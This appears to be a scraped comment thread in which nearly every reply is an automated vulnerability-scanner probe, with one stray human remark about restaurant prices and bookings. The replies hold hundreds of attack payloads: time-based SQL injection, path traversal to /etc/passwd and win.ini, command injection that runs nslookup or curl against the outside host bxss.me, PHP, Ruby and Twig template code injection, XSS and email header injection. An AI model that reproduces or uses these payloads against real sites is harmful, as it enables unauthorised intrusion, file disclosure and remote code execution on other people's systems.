GgB1KyKl'; waitfor delay '0:0:15' --
re: guest
-5 OR 512=(SELECT 512 FROM PG_SLEEP(15))--
re: guest
-5) OR 336=(SELECT 336 FROM PG_SLEEP(15))--
re: guest
-1)) OR 180=(SELECT 180 FROM PG_SLEEP(15))--
re: guest
5T4u48vS' OR 365=(SELECT 365 FROM PG_SLEEP(15))--
re: guest
No32SXwq') OR 637=(SELECT 637 FROM PG_SLEEP(15))--
re: guest
D3NtabpR')) OR 959=(SELECT 959 FROM PG_SLEEP(15))--
re: guest
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: guest
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: guest
'||(select 1 from (select pg_sleep(15))x)||'
re: guest
''||(select 1 from (select pg_sleep(15))x)||''
re: guest
1'"
re: guest
@@iJckT
Will Tokiwa's price triple in Hiroo, or just double? :D
Thanks for sharing this link though. Quite notable to me that Hashimoto is now in the "easy to book" department.
re: kk1337
1iZFYNz44O
re: kk1337
response.write(9885763*9204834)
re: kk1337
'+response.write(9885763*9204834)+'
re: kk1337
%0abcc:074625.67-22117.67.b2c6a.19990.2@bxss.me
re: kk1337
"+response.write(9885763*9204834)+"
re: kk1337
to@example.com>%0d%0abcc:074625.67-22118.67.b2c6a.19990.2@bxss.me
re: kk1337
<esi:include src="http://bxss.me/rpb.png"/>
re: kk1337
../../../../../../../../../../../../../../etc/passwd
re: kk1337
${9999952+9999842}
re: kk1337
../../../../../../../../../../../../../../windows/win.ini
re: kk1337
file:///etc/passwd
re: kk1337
../../../../../../../../../../../../../../../proc/version
re: kk1337
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: kk1337
../../../../../../../../../../etc/passwd%00.jpg
re: kk1337
)
re: kk1337
'.gethostbyname(lc('hitiv'.'neuqbwrk0224d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(66).chr(118).chr(70).'
re: kk1337
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: kk1337
!(()&&!|*|*|
re: kk1337
".gethostbyname(lc("hitqc"."ggtojilz4fd15.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(74).chr(109).chr(84)."
re: kk1337
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: kk1337
^(#$!@#$)(()))******
re: kk1337
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: kk1337
/etc/passwd
re: kk1337
echo xlcxmi$()\ ongycg\nz^xyu||a #' &echo xlcxmi$()\ ongycg\nz^xyu||a #|" &echo xlcxmi$()\ ongycg\nz^xyu||a #
re: kk1337
%2fetc%2fpasswd
re: kk1337
HttP://bxss.me/t/xss.html?%00
re: kk1337
&echo pudvxd$()\ oscmdv\nz^xyu||a #' &echo pudvxd$()\ oscmdv\nz^xyu||a #|" &echo pudvxd$()\ oscmdv\nz^xyu||a #
re: kk1337
/.././.././.././.././.././.././.././../etc/./passwd%00
re: kk1337
bxss.me/t/xss.html?%00
re: kk1337
|echo icfnui$()\ qituie\nz^xyu||a #' |echo icfnui$()\ qituie\nz^xyu||a #|" |echo icfnui$()\ qituie\nz^xyu||a #
re: kk1337
"+"A".concat(70-3).concat(22*4).concat(97).concat(82).concat(104).concat(66)+(require"socket"
Socket.gethostbyname("hitta"+"ahegudiy14f80.bxss.me.")[3].to_s)+"
re: kk1337
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: kk1337
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
re: kk1337
(nslookup hitmpmhsrwdfm44ab4.bxss.me||perl -e "gethostbyname('hitmpmhsrwdfm44ab4.bxss.me')")
re: kk1337
'+'A'.concat(70-3).concat(22*4).concat(104).concat(85).concat(116).concat(75)+(require'socket'
Socket.gethostbyname('hitnx'+'bqdusegyc9c7c.bxss.me.')[3].to_s)+'
re: kk1337
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: kk1337
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: kk1337
$(nslookup hitqqcmcwjuvq5540e.bxss.me||perl -e "gethostbyname('hitqqcmcwjuvq5540e.bxss.me')")
re: kk1337
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: kk1337
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
re: kk1337
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: kk1337
&nslookup hitwjugshktgmfda73.bxss.me&'\"`0&nslookup hitwjugshktgmfda73.bxss.me&`'
re: kk1337
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: kk1337
Http://bxss.me/t/fit.txt
re: kk1337
'"
re: kk1337
';print(md5(31337));$a='
re: kk1337
&(nslookup hitbtgvphcdrbe6735.bxss.me||perl -e "gethostbyname('hitbtgvphcdrbe6735.bxss.me')")&'\"`0&(nslookup hitbtgvphcdrbe6735.bxss.me||perl -e "gethostbyname('hitbtgvphcdrbe6735.bxss.me')")&`'
re: kk1337
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
re: kk1337
http://bxss.me/t/fit.txt%3F.jpg
re: kk1337
<!--
re: kk1337
";print(md5(31337));$a="
re: kk1337
|(nslookup hitrboczzlaoudd8d8.bxss.me||perl -e "gethostbyname('hitrboczzlaoudd8d8.bxss.me')")
re: kk1337
file:///etc/passwd
re: kk1337
/etc/shells
re: kk1337
${@print(md5(31337))}
re: kk1337
`(nslookup hitjiniwcesxl8968b.bxss.me||perl -e "gethostbyname('hitjiniwcesxl8968b.bxss.me')")`
re: kk1337
/\../\../\../\../\../\../\../etc/passwd
re: kk1337
c:/windows/win.ini
re: kk1337
${@print(md5(31337))}\
re: kk1337
;(nslookup hitecmxjphxvwd908d.bxss.me||perl -e "gethostbyname('hitecmxjphxvwd908d.bxss.me')")|(nslookup hitecmxjphxvwd908d.bxss.me||perl -e "gethostbyname('hitecmxjphxvwd908d.bxss.me')")&(nslookup hitecmxjphxvwd908d.bxss.me||perl -e "gethostbyname('hitecmxjphxvwd908d.bxss.me')")
re: kk1337
/WEB-INF/web.xml
re: kk1337
bxss.me
re: kk1337
'.print(md5(31337)).'
re: kk1337
C:\WINDOWS\system32\drivers\etc\hosts
re: kk1337
../../../../../../../../../../windows/win.ini%00.jpg
re: kk1337
/../../../../../../../../../../boot.ini
re: kk1337
%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
re: kk1337
..\..\..\..\..\..\..\..\windows\win.ini
re: kk1337
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
re: kk1337
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
re: kk1337
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
re: kk1337
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
re: kk1337
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: kk1337
WEB-INF/web.xml
re: kk1337
WEB-INF\web.xml
re: kk1337
1
re: kk1337
1
re: kk1337
-1 OR 2+909-909-1=0+0+0+1 --
re: kk1337
-1 OR 3+909-909-1=0+0+0+1 --
re: kk1337
-1 OR 2+90-90-1=0+0+0+1
re: kk1337
-1 OR 3+90-90-1=0+0+0+1
re: kk1337
-1' OR 2+837-837-1=0+0+0+1 --
re: kk1337
-1' OR 3+837-837-1=0+0+0+1 --
re: kk1337
-1' OR 2+205-205-1=0+0+0+1 or 'bnnPS1ht'='
re: kk1337
-1' OR 3+205-205-1=0+0+0+1 or 'bnnPS1ht'='
re: kk1337
-1" OR 2+556-556-1=0+0+0+1 --
re: kk1337
-1" OR 3+556-556-1=0+0+0+1 --
re: kk1337
if(now()=sysdate(),sleep(15),0)
re: kk1337
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: kk1337
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: kk1337
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: kk1337
-1; waitfor delay '0:0:15' --
re: kk1337
-1); waitfor delay '0:0:15' --
re: kk1337
1 waitfor delay '0:0:15' --
re: kk1337
z2C5KgHS'; waitfor delay '0:0:15' --
re: kk1337
-5 OR 670=(SELECT 670 FROM PG_SLEEP(15))--
re: kk1337
-5) OR 805=(SELECT 805 FROM PG_SLEEP(15))--
re: kk1337
-1)) OR 990=(SELECT 990 FROM PG_SLEEP(15))--
re: kk1337
kF0HNFAU' OR 706=(SELECT 706 FROM PG_SLEEP(15))--
re: kk1337
sPXRZj9U') OR 860=(SELECT 860 FROM PG_SLEEP(15))--
re: kk1337
Dj42GBnf')) OR 748=(SELECT 748 FROM PG_SLEEP(15))--
re: kk1337
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: kk1337
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: kk1337
'||(select 1 from (select pg_sleep(15))x)||'
re: kk1337
''||(select 1 from (select pg_sleep(15))x)||''
re: kk1337
1'"
re: kk1337
@@hO1uC
re: kk1337
1BB8ET2HMR0
re: kk1337
response.write(9446926*9956346)
re: kk1337
'+response.write(9446926*9956346)+'
re: kk1337
"+response.write(9446926*9956346)+"
re: kk1337
../../../../../../../../../../../../../../etc/passwd
re: kk1337
<esi:include src="http://bxss.me/rpb.png"/>
re: kk1337
../../../../../../../../../../../../../../windows/win.ini
re: kk1337
${10000464+9999604}
re: kk1337
file:///etc/passwd
re: kk1337
../
re: kk1337
)
re: kk1337
!(()&&!|*|*|
re: kk1337
^(#$!@#$)(()))******
re: kk1337
redirtest.acx
re: kk1337
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: kk1337
'.gethostbyname(lc('hitfc'.'cobpejld4022f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(83).chr(119).chr(76).'
re: kk1337
ctime
sleep
p0
(I30
tp1
Rp2
.
re: kk1337
".gethostbyname(lc("hitfs"."zibdsrmk3de8d.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(68).chr(111).chr(72)."
re: kk1337
echo ufoakk$()\ qyiqvw\nz^xyu||a #' &echo ufoakk$()\ qyiqvw\nz^xyu||a #|" &echo ufoakk$()\ qyiqvw\nz^xyu||a #
re: kk1337
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: kk1337
gethostbyname(lc('hitpw'.'pjeevalk437ed.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(77).chr(117).chr(70)
re: kk1337
&echo wllxni$()\ ilyqqh\nz^xyu||a #' &echo wllxni$()\ ilyqqh\nz^xyu||a #|" &echo wllxni$()\ ilyqqh\nz^xyu||a #
re: kk1337
/etc/shells
re: kk1337
|echo yqdajt$()\ iizfqh\nz^xyu||a #' |echo yqdajt$()\ iizfqh\nz^xyu||a #|" |echo yqdajt$()\ iizfqh\nz^xyu||a #
re: kk1337
../../../../../../../../../../../../../../etc/shells
re: kk1337
expr 9000225776 - 925180
re: kk1337
c:/windows/win.ini
re: kk1337
(nslookup -q=cname hitsmzbnhnmzq1ede3.bxss.me||curl hitsmzbnhnmzq1ede3.bxss.me))
re: kk1337
bxss.me
re: kk1337
$(nslookup -q=cname hitlpgmatuete1a353.bxss.me||curl hitlpgmatuete1a353.bxss.me)
re: kk1337
Http://bxss.me/t/fit.txt
re: kk1337
&nslookup -q=cname hitiuaztaprdhffa05.bxss.me&'\"`0&nslookup -q=cname hitiuaztaprdhffa05.bxss.me&`'
re: kk1337
http://bxss.me/t/fit.txt?.jpg
re: kk1337
&(nslookup -q=cname hitofliyocaji660f7.bxss.me||curl hitofliyocaji660f7.bxss.me)&'\"`0&(nslookup -q=cname hitofliyocaji660f7.bxss.me||curl hitofliyocaji660f7.bxss.me)&`'
re: kk1337
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: kk1337
|(nslookup -q=cname hitfdauoxdudq39bd8.bxss.me||curl hitfdauoxdudq39bd8.bxss.me)
re: kk1337
';print(md5(31337));$a='
re: kk1337
`(nslookup -q=cname hitjdaneqdjuqa6299.bxss.me||curl hitjdaneqdjuqa6299.bxss.me)`
re: kk1337
HttP://bxss.me/t/xss.html?%00
re: kk1337
";print(md5(31337));$a="
re: kk1337
;(nslookup -q=cname hitugyhrczlin8eca5.bxss.me||curl hitugyhrczlin8eca5.bxss.me)|(nslookup -q=cname hitugyhrczlin8eca5.bxss.me||curl hitugyhrczlin8eca5.bxss.me)&(nslookup -q=cname hitugyhrczlin8eca5.bxss.me||curl hitugyhrczlin8eca5.bxss.me)
re: kk1337
bxss.me/t/xss.html?%00
re: kk1337
${@print(md5(31337))}
re: kk1337
|(nslookup${IFS}-q${IFS}cname${IFS}hitefjnmunajp62376.bxss.me||curl${IFS}hitefjnmunajp62376.bxss.me)
re: kk1337
${@print(md5(31337))}\
re: kk1337
&(nslookup${IFS}-q${IFS}cname${IFS}hitilsmfinhzf907e4.bxss.me||curl${IFS}hitilsmfinhzf907e4.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitilsmfinhzf907e4.bxss.me||curl${IFS}hitilsmfinhzf907e4.bxss.me)&`'
re: kk1337
'.print(md5(31337)).'
re: kk1337
'"()
re: kk1337
"+"A".concat(70-3).concat(22*4).concat(114).concat(77).concat(100).concat(83)+(require"socket"
Socket.gethostbyname("hitsq"+"wzqcorxq50281.bxss.me.")[3].to_s)+"
re: kk1337
'&&sleep(27*1000)*pwkoqd&&'
re: kk1337
'+'A'.concat(70-3).concat(22*4).concat(102).concat(84).concat(115).concat(80)+(require'socket'
Socket.gethostbyname('hiteo'+'qcevbbof645b6.bxss.me.')[3].to_s)+'
re: kk1337
"&&sleep(27*1000)*gnpszv&&"
re: kk1337
'A'.concat(70-3).concat(22*4).concat(110).concat(65).concat(105).concat(74)+(require'socket'
Socket.gethostbyname('hittn'+'cunletyr6ffed.bxss.me.')[3].to_s)
re: kk1337
'||sleep(27*1000)*bkoacj||'
re: kk1337
"||sleep(27*1000)*ujsuyq||"
re: kk1337
replies
re: kk1337
'"
re: kk1337
replies
re: kk1337
<!--
re: kk1337
replies/.
re: kk1337
'"()&%<zzz><ScRiPt >yuel(9431)</ScRiPt>
re: kk1337
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitspmevdwabha7c48.bxss.me")}}
re: kk1337
'"()&%<zzz><ScRiPt >yuel(9934)</ScRiPt>
re: kk1337
9178722
re: kk1337
PWZqRPpx
re: kk1337
*1
re: kk1337
*1
re: kk1337
*1
re: kk1337
*1
re: kk1337
-1 OR 5*5=25 --
re: kk1337
-1 OR 5*5=26 --
re: kk1337
-1 OR 5*5=25
re: kk1337
-1 OR 5*5=26
re: kk1337
*if(now()=sysdate(),sleep(15),0)
re: kk1337
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: kk1337
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: kk1337
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: kk1337
-1; waitfor delay '0:0:15' --
re: kk1337
-1); waitfor delay '0:0:15' --
re: kk1337
-1 waitfor delay '0:0:15' --
re: kk1337
jDNVSrcI'; waitfor delay '0:0:15' --
re: kk1337
-1 OR 313=(SELECT 313 FROM PG_SLEEP(15))--
re: kk1337
-1) OR 23=(SELECT 23 FROM PG_SLEEP(15))--
re: kk1337
-1)) OR 974=(SELECT 974 FROM PG_SLEEP(15))--
re: kk1337
6BWcRzeu' OR 828=(SELECT 828 FROM PG_SLEEP(15))--
re: kk1337
T3bYjnFe') OR 599=(SELECT 599 FROM PG_SLEEP(15))--
re: kk1337
hz8GdxrB')) OR 546=(SELECT 546 FROM PG_SLEEP(15))--
re: kk1337
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: kk1337
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: kk1337
'||(select 1 from (select pg_sleep(15))x)||'
re: kk1337
''||(select 1 from (select pg_sleep(15))x)||''
re: kk1337
'"
re: kk1337
@@x8VPw
re: kk1337
(select 198766*667891)
re: kk1337
(select 198766*667891 from DUAL)
re: kk1337
KyLNCHWY
re: kk1337
*1
re: kk1337
*1
re: kk1337
*1
re: kk1337
*1
re: kk1337
-1 OR 5*5=25 --
re: kk1337
-1 OR 5*5=26 --
re: kk1337
-1 OR 5*5=25
re: kk1337
-1 OR 5*5=26
re: kk1337
*if(now()=sysdate(),sleep(15),0)
re: kk1337
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: kk1337
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: kk1337
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: kk1337
-1; waitfor delay '0:0:15' --
re: kk1337
-1); waitfor delay '0:0:15' --
re: kk1337
-1 waitfor delay '0:0:15' --
re: kk1337
RcGqR85A'; waitfor delay '0:0:15' --
re: kk1337
-1 OR 272=(SELECT 272 FROM PG_SLEEP(15))--
re: kk1337
-1) OR 919=(SELECT 919 FROM PG_SLEEP(15))--
re: kk1337
-1)) OR 419=(SELECT 419 FROM PG_SLEEP(15))--
re: kk1337
0d22BHsi' OR 291=(SELECT 291 FROM PG_SLEEP(15))--
re: kk1337
crExZcCY') OR 962=(SELECT 962 FROM PG_SLEEP(15))--
re: kk1337
nZYLrlAC')) OR 679=(SELECT 679 FROM PG_SLEEP(15))--
re: kk1337
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: kk1337
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: kk1337
'||(select 1 from (select pg_sleep(15))x)||'
re: kk1337
''||(select 1 from (select pg_sleep(15))x)||''
re: kk1337
'"
re: kk1337
@@QcXGo
re: kk1337
(select 198766*667891)
re: kk1337
(select 198766*667891 from DUAL)
re: kk1337
8k7dMos3
re: kk1337
1*
re: kk1337
1*
re: kk1337
1*
re: kk1337
1*
re: kk1337
-1 OR 2+836-836-1=0+0+0+1
re: kk1337
-1 OR 3+836-836-1=0+0+0+1
re: kk1337
if(now()=sysdate(),sleep(15),0)
re: kk1337
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: kk1337
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: kk1337
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: kk1337
-1; waitfor delay '0:0:15' --
re: kk1337
-1); waitfor delay '0:0:15' --
re: kk1337
1 waitfor delay '0:0:15' --
re: kk1337
coQsPut1'; waitfor delay '0:0:15' --
re: kk1337
-5 OR 59=(SELECT 59 FROM PG_SLEEP(15))--
re: kk1337
-5) OR 542=(SELECT 542 FROM PG_SLEEP(15))--
re: kk1337
-1)) OR 728=(SELECT 728 FROM PG_SLEEP(15))--
re: kk1337
